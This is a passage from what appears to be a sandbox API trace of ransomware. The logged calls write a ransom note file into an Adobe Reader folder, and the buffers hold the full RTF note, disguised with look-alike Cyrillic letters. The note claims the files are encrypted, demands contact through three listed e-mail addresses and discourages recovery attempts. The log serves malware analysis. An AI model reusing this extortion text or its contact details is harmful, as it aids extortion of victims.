\\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n5¢É|÷çe\x89À¨õáÎ.\x81~\x80ÇØ\x93%°2|It\x805±µ3\x19", lpUsedDefaultChar=0x0) returned 14086 [0040.500] WriteFile (in: hFile=0x1a0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.501] CloseHandle (hObject=0x1a0) returned 1 [0040.501] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\!bwng_info!.rtf")) returned 0xffffffff [0040.501] GetLastError () returned 0x2 [0040.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, 